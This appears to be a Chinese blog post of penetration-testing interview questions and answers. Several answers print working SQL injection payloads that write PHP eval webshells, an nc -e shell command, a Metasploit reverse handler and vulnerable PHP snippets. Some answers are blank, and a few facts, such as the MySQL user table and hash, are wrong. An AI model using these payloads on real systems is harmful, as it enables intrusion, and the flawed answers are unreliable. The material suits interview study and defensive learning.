滲透測試或安服等面試問題與答案

Vdieoo發表於2020-11-29

啟明星辰

 

1開發做的模組有安全漏洞被你發現了,但是老闆催著上線 你作為安全工程師怎麼處理

加班加緊和開發一塊處理安全漏洞,及時向老闆彙報情況

 

2內網伺服器被人種植shell,怎麼做應急響應

 

常態化安全檢查與安全加固

 

中間是流程

 

下層是

    

 

 

收集安全系統報警資訊,根據威脅情報平臺和之前誤報的資訊初步研判(何種安全事件),自己能解決則利用應急技能(程式分析,日誌分析,樣本分析)(清理處置:斷網後遠端連線殺程式,刪檔案,打補丁,檢視攻擊途徑與操作並修復)自己解決。不能則進行上報,處理完後輸出安全事件報告

 

 

3雙11大流量購物平臺,需要做哪些運維工作保證系統正常運轉。

 

 

 

 

確保各個安全系統穩定高效經受的住大流量,加強日常安檢,檢查備份系統是否能及時替代,加班聽從安排

 

 

 

 

 

4 mysql的sql注入拿shell有幾種方式,哪幾種注入可以,哪幾種不可以,

 

 

 

 

條件:

1:要知道網站絕對路徑,可以通過報錯,phpinfo介面,404介面等一些方式知道

2:gpc沒有開啟,開啟了單引號被轉義了,語句就不能正常執行了

3:要有file許可權,預設情況下只有root

4:對目錄要有寫許可權,一般image之類的存放突破的目錄就有

 

mysql的配置檔案 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被註釋 或者 `secure_file_priv 配置的位置是web目錄。

要了解secure_file_priv是否支援資料匯出、當前資料庫使用者許可權、獲取web目錄的物理路徑。

AMySQLsecure_file_priv這個配置項來完成對資料匯入匯出的限制。如果secure_file_priv=NULLMySQL服務會禁止匯入和匯出操作。通過命令檢視secure-file-priv`的當前值,確認是否允許匯入匯出以及到處檔案路徑。

show variables like ‘%secure_file_priv%’;

 

BMySQLroot 使用者擁有所有許可權,但寫入Webshell並不需要一定是root使用者許可權,比如資料庫使用者只要擁有FILE許可權就可以執行 select into outfile操作。

 

C、當secure_file_priv檔案匯出路徑與web目錄路徑重疊,寫入Webshell才可以被訪問到。

 

 

 

 

0x02 寫入WebShell的幾種方式

1、利用Union select 寫入

這是最常見的寫入方式,union 跟select into outfile,將一句話寫入evil.php,僅適用於聯合注入。

具體許可權要求:secure_file_priv支援web目錄檔案匯出、資料庫使用者File許可權、獲取物理路徑。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

 

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符寫入

Mysql注入點為盲注或報錯,Union select寫入的方式顯然是利用不了的,那麼可以通過分隔符寫入。SQLMAP--os-shell命令,所採用的就是一下這種方式。

具體許可權要求:secure_file_priv支援web目錄檔案匯出、資料庫使用者File許可權、獲取物理路徑。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --同樣的技巧,一共有四種形式:

?id=1 INTO OUTFILE '物理路徑' lines terminated by  (一句話hex編碼)#

 

 

注入原理

通過select語句查詢的內容寫入檔案,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 這樣寫的原因,然後利用 lines terminated by 語句拼接webshell的內容。lines terminated by 可以理解為 以每行終止的位置新增 xx 內容

 

 

?id=1 INTO OUTFILE '物理路徑' fields terminated by (一句話hex編碼)#

 

 

注入原理

利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個欄位的位置新增 xx 內容

 

 

 

?id=1 INTO OUTFILE '物理路徑' columns terminated by (一句話hex編碼)#

 

 

 

注入原理

利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個欄位的位置新增 xx 內容

 

 

?id=1 INTO OUTFILE '物理路徑' lines starting by    (一句話hex編碼)#

 

 

注入原理

利用 lines starting by 語句拼接webshell的內容。lines starting by 可以理解為 以每行開始的位置新增 xx 內容

 

 

 

 

 

 

 

3、利用log寫入

 

 

新版本的MySQL設定了匯出檔案的路徑,很難在獲取Webshell過程中去修改配置檔案,無法通過使用select into outfile來寫入一句話。這時,我們可以通過修改MySQLlog檔案來獲取Webshell

具體許可權要求:資料庫使用者需具備SuperFile伺服器許可權、獲取物理路徑。

show variables like '%general%';                        #檢視配置
set global general_log = on;                            #開啟general log模式
set global general_log_file = 'E:/study/WWW/evil.php';    #設定日誌目錄為shell地址
select '<?php eval($_GET[g]);?>'                     #寫入shell
set global general_log=off;                             #關閉general log模式

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5橢圓曲線加密演算法涉及哪些安全問題

 

 

離散對數難題對該密碼的安全性有著多麼重要的作用

 

 

 

6 內網的金銀票據問題

 

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  1. 介紹一下自認為有趣的挖洞經歷

挖洞也有分很多種型別,一種是以滲透、一種是以找漏洞為主,如果是前者會想各種辦法獲取許可權繼而獲取想要的的東西完成滲透目標,這類跟HW類似,目標各種漏洞不算,要有Shell,伺服器許可權才給分,這才是最接近實戰滲透,跟某部門有合作的話也是屬於這種打擊網路犯罪獲得許可權、傳銷資料、組織架構,伺服器許可權、等......

如果是以挖洞為主,還需要測試每個點的細節,有完整流程,不能遺漏掉任何一個點,這是一個工作責任。



 

  1. 你平時用的比較多的漏洞是哪些?相關漏洞的原理?以及對應漏洞的修復方案?

SQL隱碼攻擊、密碼組合,前者防護分為幾種,CDN -> Web -> 資料庫 -> 主機,設定最小許可權來應對。 密碼組合根據個人習慣

這類問題大幅度官是想了解哪塊技術你用的多,掌握的程度如何。



 

  1. php/java反序列化漏洞的原理?解決方案?

php中圍繞著serialize(),unserialize()這兩個函式,序列化就是把一個物件變成可以傳輸的字串,如果伺服器能夠接收我們反序列化過的字串、並且未經過濾的把其中的變數直接放進這些魔術方法裡面的話,就容易造成很嚴重的漏洞了。

O:7:"chybeta":1:{s:4:"test";s:3:"123";}

這裡的O代表儲存的是物件(object),假如你給serialize()傳入的是一個陣列,那它會變成字母a。7表示物件的名稱有7個字元。"chybeta"表示物件的名稱。1表示有一個值。{s:4:"test";s:3:"123";}中,s表示字串,4表示該字串的長度,"test"為字串的名稱,之後的類似。 當傳給 unserialize() 的引數可控時,我們可以通過傳入一個精心構造的序列化字串,從而控制物件內部的變數甚至是函式。

JAVA Java 序列化是指把 Java 物件轉換為位元組序列的過程便於儲存在記憶體、檔案、資料庫中,ObjectOutputStream類的 writeObject() 方法可以實現序列化。 Java 反序列化是指把位元組序列恢復為 Java 物件的過程,ObjectInputStream 類的 readObject() 方法用於反序列化。



 

  1. 如果一臺伺服器被入侵後,你會如何做應急響應?
1.準備相關的工具,查後門等工具
2.初步判斷事件型別,事件等級。
3.抑制範圍,隔離使愛害面不繼續擴大
4.查詢原因,封堵攻擊源。
5.業務恢復正常水平.
6.總結,報告,並修復、監控

以上是常規的回答,想知道你是否有這方面應急相關的經驗,像這類問題甲方面試比較多。



 

  1. 你平時使用哪些工具?以及對應工具的特點?
  • AWVS、Masscan、BurpSuite
  • AWVS常規漏洞掃描,masscan快速查詢埠,burp重複提交資料包

想知道是否有自己開發工具,如果沒有你對每個安全工具有哪些獨特的見解以及別人不知道的技巧用法。如:awvs如何批量掃描?burpsuite如何爆破401、脫庫等、等等...



 

  1. 如果遇到waf的情況下如何進行sql注入/上傳Webshell怎麼做?請寫出曾經繞過WAF的經過(SQLi,XSS,上傳漏洞選一)

PHP上傳,無法上傳php、解析、後臺沒有辦法拿到,只有一處點可以上傳。通過Windows特性shell.php::$DATA,是一個專案管理系統

想知道你遇到WAF是放棄,還是繼續研究繞過的這個能力。



 

  1. 如何判斷sql注入,有哪些方法

提交錯誤語句是否有異常,除此之外這些顯示的錯誤可以通過sleep,修眠語句執行5秒等,除此之外通過DNSlog判斷是還有傳回值



 

  1. 介紹 SQL 注入漏洞成因,如何防範?注入方式有哪些?除了資料庫資料,利用方式還有哪些?
select * from news where id = '$SQL';
當程式執行訪問新聞等一些操作都會執行到sql語句進行呼叫,如果在此呼叫過程中,提交了不合法的資料,而資料庫無法識別則會報錯。也就是一切輸入都是有害的。

注入型別有6種,可以參考SQLMAP,報錯、盲注、聯合、時間、內聯、堆疊
注入提交方式:GET、POST、Cookies、檔案頭
利用方式:具體看什麼資料庫型別,像SQLSERVER可以命令執行,MYSQL寫shell有些許可權大也可以執行命令但是條件是在lINUX環境下。
防範:邊界,CDN -> 指令碼語言過濾 -> 資料庫過濾最小許可權 -> 主機



 

  1. 為什麼有的時候沒有錯誤回顯

沒有進行錯誤列印或者錯誤遮蔽

 

  1. 寬字元注入的原理?如何利用寬字元注入漏洞,payload如何構造?

在mysql中使用了gbk編碼,佔用2個位元組,而mysql的一種特性,GBK是多位元組編碼,它認為兩個位元組就代表一個漢字,所以%df時候會和轉義符\ %5c進行結合,所以單引號就逃逸了出來,當第一個位元組的ascii碼大於128,就可以了。



 

  1. CRLF注入的原理

CRLF注入在OWASP 裡面被稱為HTTP拆分攻擊(HTTP Splitting)CRLF是”回車 + 換行”(\r\n)的簡稱,在HTTP協議中,HTTP Header與HTTP Body是用兩個CRLF分隔的,瀏覽器就是根據這兩個CRLF來取出HTTP 內容並顯示出來。所以,一旦我們能夠控制HTTP 訊息頭中的字元,注入一些惡意的換行



 

  1. mysql的網站注入,5.0以上和5.0以下有什麼區別?
  • 5.0以下沒有information_schema這個系統表,無法列表名等,只能暴力跑表名。
  • 5.0以下是多使用者單操作,5.0以上是多使用者多操做。



 

  1. php.ini可以設定哪些安全特性
  • 禁用PHP函式
  • 允許include或開啟訪問遠端資源



 

  1. php的%00截斷的原理是什麼?
因為在C語言中字串的結束識別符號%00是結束符號,而PHP就是C寫的,所以繼承了C的特性,所以判斷為%00是結束符號不會繼續往後執行
條件:PHP<5.3.29,且GPC關閉



 

  1. webshell檢測,有哪些方法
  • grep、關鍵詞、關鍵函式
  • 安全狗、D盾



 

  1. php的LFI,本地包含漏洞原理是什麼?寫一段帶有漏洞的程式碼。手工的話如何發掘?如果無報錯回顯,你是怎麼遍歷檔案的?
if ($_GET['file']){
    include $_GET['file'];
}

包含的檔案設定為變數,並且無過濾導致可以呼叫惡意檔案 還可以對遠端檔案包含,但需要開啟allow_url_include = ON 通過測試引數的地方進行本地檔案/etc/passwd等包含 如何存在漏洞而且沒有回顯,有可能沒有顯示在頁面而是在網頁原始碼中,除些可以利用DNSlog進行獲取包含的資訊。從index.php檔案一級級往讀取 也可以利用PHP封裝協議讀取檔案



 

  1. 說說常見的中介軟體解析漏洞利用方式
  • IIS 6.0

    • /xx.asp/xx.jpg "xx.asp"是資料夾名
  • IIS 7.0/7.5

    • 預設Fast-CGI開啟,直接在url中圖片地址後面輸入/1.php,會把正常圖片當成php解析
  • Nginx

    • 版本小於等於0.8.37,利用方法和IIS 7.0/7.5一樣,Fast-CGI關閉情況下也可利用。
    • 空位元組程式碼 xxx.jpg%00.php
  • Apache

    • 上傳的檔案命名為:test.php.x1.x2.x3,Apache是從右往左判斷字尾



 

  1. mysql的使用者名稱密碼是存放在那張表裡面?mysql密碼採用哪種加密方式?
  • mysql -> users
  • SHA1



 

  1. Windows、Linux、資料庫的加固降權思路,任選其一
  • 禁用root
  • 禁止遠端訪問
  • 禁止寫入
  • 單獨帳號
  • 禁止執行system等函式



 

  1. 你使用什麼工具來判斷系統是否存在後門
  • Chkrootkit
  • Rkhunter



 

  1. 如何繞過CDN獲取目標網站真實IP,談談你的思路?
  • 類似phpinfo、網站資訊
  • C段、子域名
  • 歷史解析記錄
  • DDOS
  • zmap全網掃描識別http頭
  • 網站域名管理員郵箱,註冊過的域名等相關資訊關聯



 

  1. 如果給你一個網站,你的滲透測試思路是什麼? 在獲取書面授權的前提下。

其實這是一個非常大的話題,滲透大部分思路都是如此,而面試官是想聽到你回答不一樣的答案讓人眼前一亮 如何才做到讓人眼前一亮都需要看你的經驗,把你實踐的過程拿出來說,以及遇到什麼問題如何解決,最終取得成果 滲透其它大同小異,而做為滲透者知識的儲備、基礎紮實、耐心、細心都是必不可少。



 

  1. 談一談Windows系統與Linux系統提權的思路?
  • Windows
Windows服務比較多所以方法也如此,最基本的就是Exp提權,資料庫SQLServer、MYSQL UDF等、第三方軟體提權。
除此之外提權的成功與否和在於資訊收集也非常重要,你對這臺伺服器和管理員瞭解多少。

Linux

Linux也是類似,除了EXP或者高版本的核心無法提權之外,通過第三方軟體和服務,除了提權也可以考慮把這臺機器當跳版,
達到先進入內網安全防線最弱的地方尋找有用的資訊,再迂迴戰術。

linux許可權提升

  • Brief
  • 列舉指令碼
  • 以root許可權執行的程式
  • 使用者安裝的軟體
  • 弱口令或者明文密碼
  • 只能內部訪問的服務
  • suid和guid錯誤配置
  • 濫用sudo許可權
  • 以root許可權執行的指令碼檔案
  • 錯誤的路徑配置
  • 計劃任務
  • 未掛載的檔案系統
  • NFS共享
  • 通過鍵盤記錄儀竊取密碼
  • 其它有用的和提權相關的東西
  • 核心提權



 

  1. 列舉出您所知道的所有開源元件高危漏洞(十個以上)
Tomcat
Nginx
Apache
Hadhoop
Docker
Jenkins
Zenoss
Jboss
MongoDB
Redis
GlassFish



 

  1. 反彈 shell 的常用命令?一般常反彈哪一種 shell?為什麼?
  • nc -lvvp 7777 -e /bin/bash
  • bash是互動式,否則像useradd無法執行互動



 

  1. CMD命令列如何查詢遠端終端開放埠
  • tasklist /svc
  • netstat -ano



 

  1. 伺服器為IIS+PHP+MySQL,發現root許可權注入漏洞,講講你的滲透思路
  • 可以讀取IIS資訊,知道路徑,如果像WAMMP類似構建,通過@@datadir知道資料庫路徑也可以猜測網站路徑。
  • 或者直接寫Shell



 

  1. 請寫出Mysql5資料庫中查詢庫’helloworld’中’users’表所有列名的語句

select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name' and table_schema = 'your_db_name';



 

  1. 下面這段程式碼存在漏洞嗎?如果存在請說出存在什麼漏洞並利用
http://www.exp.com/1.php  
<?php  
$s_func = $_GET['s_func'];
$info = $_GET['info'];
$s_func($info);
?>

程式碼執行,通過assert呼叫



 

  1. udf提權

MySQL可以自定義函式,通過自定義函式做到類似xp_cmdshell效果



 

  1. SQL頭注入點
  • UserAgent
  • Referer
  • Cookie
  • X-FOR-IP



 

  1. php中命令執行涉及到的函式
eval()
assert()
system()
exec()
shell_exec()



 

  1. SSRF漏洞的成因 防禦 繞過

模擬伺服器對其它資源進行請求 IP探測,如果想漏洞利用必需要構造好Payload 禁止跳轉,限制協議,內外網限制,URL限制 針對IP格式



 

  1. mysql寫shell有幾種方法

outfile、dumpfile、開啟log寫webshell



 

  1. Metasploit 開啟反向監聽的命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp



 

  1. 應急響應的步驟
1.準備已經編譯好的工具以及取證分析等工具乾淨可靠放U盤
2.初步判斷事件的型別,是被入侵、ddos還是其它的原因
3.首先抑制範圍、影響範圍,隔離使受害面不繼續擴大。
4.尋找原因,封堵攻擊源。
5.把業務恢復至正常水平
6.監控有無異常,報告、管理環節的自省和改進措施。



 

  1. 有哪些反向代理的工具?

reGeirg、EW、lcx、Ngrok、frp



 

  1. 有什麼比較曲折的滲透經歷

這個問題想知道你工作滲透到什麼樣的程度,只是簡單的漏掃搬磚,還是有毅力堅持完成整個滲透,如:對目標不放棄,堅持一個月最終通過各種手段,曲折的過程拿下目標。



 

UpdateTime:2019.5.11

  1. 怎麼查詢域控

方法有很多 

1.通過DNS查詢 

dig -t SRV _gc._tcp.lab.ropnop.com  

dig -t SRV _ldap._tcp.lab.ropnop.com  

dig -t SRV _kerberos._tcp.lab.ropnop.com  

dig -t SRV _kpasswd._tcp.lab.ropnop.com 

2.埠掃描 

域伺服器都會開啟389埠,所以可以通過掃描埠進行識別。 

3.其實很多域環境裡,DNS伺服器就是域控制根本不需要怎麼找。 

4.各種命令 

dsquery 

net group "Domain controllers" 

nltest /DCLIST:pentest.com 

...... 

  1. PHP 作為弱型別語言,在底層它是怎麼判斷變數的型別的

  2. ARP 攻擊的原理(講出具體的流程),如何發現並防禦 ARP 攻擊

  3. 滲透大企業簡單還是小站點簡單,為什麼


大企業目標資產較為多,攻擊者只需要找到一個點,而企業安全人員要防的則一個面。 

其實我認為越小的站越難滲透,這裡有很多方面不細說。 

  1. 內網如何反彈 shell,反彈的 shell 流量如何隱蔽

  2. 除了 TCPIP 協議,如何將內網資料傳遞出來(內網環境有著嚴格防禦與審查)

 

 

 

相關文章